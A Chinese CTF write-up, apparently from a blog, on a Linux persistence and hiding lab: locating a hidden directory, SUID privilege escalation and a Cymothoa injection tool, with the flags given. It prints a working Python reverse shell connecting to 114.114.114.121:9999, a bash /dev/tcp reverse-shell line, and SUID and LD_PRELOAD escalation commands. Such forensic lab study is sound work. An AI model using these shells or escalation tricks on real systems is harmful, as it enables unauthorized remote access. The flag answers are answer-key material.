当前位置: 首页 > news >正文

玄机——第三章 权限维持-linux权限维持-隐藏练习

第三章 权限维持-linux权限维持-隐藏

步骤 #1

黑客隐藏的隐藏的文件 完整路径md5

1、分析题目

找隐藏文件,那就来找.开头的文件,因为在Linux中.开头的文件为隐藏文件

2、解题

查找文件

find / -name ".*"

发现了可疑之处,/tmp里有隐藏文件(一般黑客写入shell攻击者上传的恶意软件在运行过程中,可能会在 /tmp 目录创建隐藏文件,用于存储恶意软件的配置信息、缓存数据或者作为进程间通信的工具)

在这里插入图片描述

libprocesshider 通常是一种用于隐藏进程的工具,这里就非常可疑了

查看该文件夹的所有文件,发现了一个python文件

在这里插入图片描述

查看1.py 文件

#!/usr/bin/python3import socket,subprocess,os,sys, timepidrg = os.fork()
if pidrg > 0:sys.exit(0)os.chdir("/")
os.setsid()
os.umask(0)
drgpid = os.fork()
if drgpid > 0:sys.exit(0)while 1:try:sys.stdout.flush()sys.stderr.flush()fdreg = open("/dev/null", "w")sys.stdout = fdregsys.stderr = fdregsdregs=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sdregs.connect(("114.114.114.121",9999))	#TCP 连接,用于数据传输os.dup2(sdregs.fileno(),0)os.dup2(sdregs.fileno(),1)os.dup2(sdregs.fileno(),2)p=subprocess.call(["/bin/bash","-i"])sdregs.close()except Exception:passtime.sleep(2)

重定向标准输入 / 输出 / 错误

os.dup2(sdregs.fileno(),0) # 标准输入 → 套接字
os.dup2(sdregs.fileno(),1) # 标准输出 → 套接字
os.dup2(sdregs.fileno(),2) # 标准错误 → 套接字

效果:将 Shell 的所有输入输出都通过网络传输,实现远程交互。

再继续查看接下来的文件,直到processhider.c文件,里面指定了隐藏进程1.py,那么1.oy就是黑客想要隐藏的文件

在这里插入图片描述

那么隐藏文件的完整路径为 /tmp/.temp/libprocesshider/1.py

flag为 flag{109CCB5768C70638E24FB46EE7957E37}

步骤 #2

黑客隐藏的文件反弹shell的ip+端口 {ip:port}
在这里插入图片描述

在1.py文件里可以看到IP和端口

则flag为 flag{114.114.114.121:9999}

步骤 #3

黑客提权所用的命令完整路径的md5 flag{md5}

1、分析题目

这里又是提权,一种常见的提权手段是SUID提权

SUID(Set User ID)是 Linux 文件权限的一种特殊标志,仅对可执行程序有效。当程序设置 SUID 权限后,普通用户执行该程序时,进程会临时获取程序所有者的权限,而非执行用户的权限。

常见的权限示例:/bin/ping程序,它的所有者是root,且设置了SUID 权限。普通用户执行ping时,进程以root权限运行。

常见 SUID 提权的攻击场景

  1. 利用程序漏洞执行命令

    有漏洞的find命令
    若find设置了 SUID 权限,黑客可通过-exec参数执行任意命令:
    find . -name "anyfile" -exec /bin/sh -c "whoami" \; # 以SUID所有者权限执行命令

​ 恶意使用vim
​ 若vim为 SUID 程序,可在vim中直接调用 shell:
vim -c ":!bash" # 打开具有SUID权限的shell

  1. 动态链接库劫持
    原理:SUID 程序运行时若依赖某个动态库,且系统未严格限制库文件搜索路径,黑客可在自定义路径下创建同名恶意库,程序加载时会执行恶意代码。
    黑客创建恶意库/tmp/libexample.so,内容为提权命令。
    设置环境变量LD_PRELOAD=/tmp/libexample.so,运行 SUID 程序时,恶意库被加载,实现提权。

  2. 利用 SUID 脚本文件
    若 SUID 权限被错误地赋予脚本文件(如.sh),黑客可修改脚本内容,插入恶意命令。

    #!/bin/bash
    echo "正常脚本"
    #修改后:
    #!/bin/bash
    /bin/bash -i >& /dev/tcp/黑客IP/端口 0>&1  # 反向shell提权
    
    2、解题
    find / -type f -perm -4000 2>/dev/null  # 列出所有SUID程序
    

    在这里插入图片描述

    发现了这个典型案例find

ls -l /usr/bin/find		

ls -l:以长格式显示文件详细信息(包括权限、所有者、修改时间等)

在这里插入图片描述

可以看出find确实是被提权了

那么完整路径为 /usr/bin/find

那么flag为 flag{7FD5884F493F4AAF96ABEE286EE04120}

步骤 #4

黑客尝试注入恶意代码的工具完整路径md5

1、分析题目

en思路断了,查看了一些大佬的wp

2、解题

找到之前的隐藏目录

find / -type d -name ".*" 2>/dev/null		#查看所有隐藏目录

在这里插入图片描述

**Cymothoa **后门工具:这是一款隐秘的后门工具,可将 shellcode 注入到现有进程中,从而实现后门植入。它利用 ptrace 库来操作进程,能够把 shellcode 伪装成常规程序,使后门程序与被注入程序共存。

**/opt **是一个用于存放可选软件包 的标准目录。它的设计初衷是为那些未被系统默认安装的第三方应用程序提供统一的存储位置。

查看该目录下的文件,找到该后门工具

在这里插入图片描述

那么尝试注入恶意代码的工具完整路径为/opt/.cymothoa-1-beta/cymothoa,则flag为 flag{087C267368ECE4FCF422FF733B51AED9}

步骤 #5

使用命令运行 ./x.xx 执行该文件 将查询的 Exec**** 值 作为flag提交 flag{/xxx/xxx/xxx}**

1、分析题目

这里所说的运行./x.xx文件,应该就是之前找到的1.py文件,用python3来执行。

Exec 相关字段,通常用于查看程序执行时的权限设置。这些字段通常可以在文件系统的详细信息(如 ls -l 命令的输出)

2、解题
python3 /tmp/.temp/libprocesshider/1.py

查看网络连接情况

netstat -antp

在这里插入图片描述

此时可以注意到114.114.114.121这个前面找到的反弹shell的IP

which python3

which:这是一个用于定位可执行文件路径的命令

在这里插入图片描述

要Exec值,那么

ls -l /usr/bin/python3

在这里插入图片描述

则flag为 flag{/usr/bin/python3.4}

参考文章

玄机——第三章 权限维持-linux权限维持-隐藏 wp

Inv0ker_wp

http://www.lryc.cn/news/581647.html

相关文章:

  • Dify+Ollama+QwQ:3步本地部署,开启AI搜索新篇章
  • 实现Spring MVC登录验证与拦截器保护:从原理到实战
  • 【机器学习深度学习】 如何解决“宏平均偏低 / 小类识别差”的问题?
  • HRDNet: High-resolution Detection Network for Small Objects论文阅读
  • mac中创建 .command 文件,执行node服务
  • Omi录屏专家 Screen Recorder by Omi 屏幕录制Mac
  • 【Linux】基础开发工具(1)
  • 开发项目时遇到的横向越权、行锁表锁与事务的关联与区别、超卖问题
  • Java学习——Lombok
  • Anaconda 常用命令
  • 【Elasticsearch】自定义评分检索
  • 【卫星语音】基于神经网络的低码率语音编解码(ULBC)方案架构分析:以SoundStream为例
  • Maven引入第三方JAR包实战指南
  • Day06- (使用asyncio进行异步编程:事件循环和协程)
  • 群晖 DS3617xs DSM 6.1.7 解决 PhotoStation 安装失败问题 PHP7.0
  • 数据结构---B+树
  • Modbus 与 BACnet 协议互操作:工业协议转换方案(二)
  • 深入理解 classnames:React 动态类名管理的最佳实践
  • 【系统分析师】2023年真题:论文及解题思路
  • 【机器学习笔记Ⅰ】7 向量化
  • 【IOS】XCode创建firstapp并运行(成为IOS开发者)
  • Tuning Language Models by Proxy
  • CentOS-6与CentOS-7的网络配置IP设置方式对比 笔记250706
  • 【Vibe Coding 实战】我如何用 AI 把一张草图变成了能跑的应用
  • 黑马点评系列问题之基础篇16jedis redis依赖引入后仍然还是报错
  • Docker 容器编排原理与使用详解
  • 国内Ubuntu访问不了github等外网
  • 牛客周赛Round 99(Go语言)
  • 【前端工程化】前端工作中的业务规范有哪些
  • 4.2 如何训练⼀个 LLM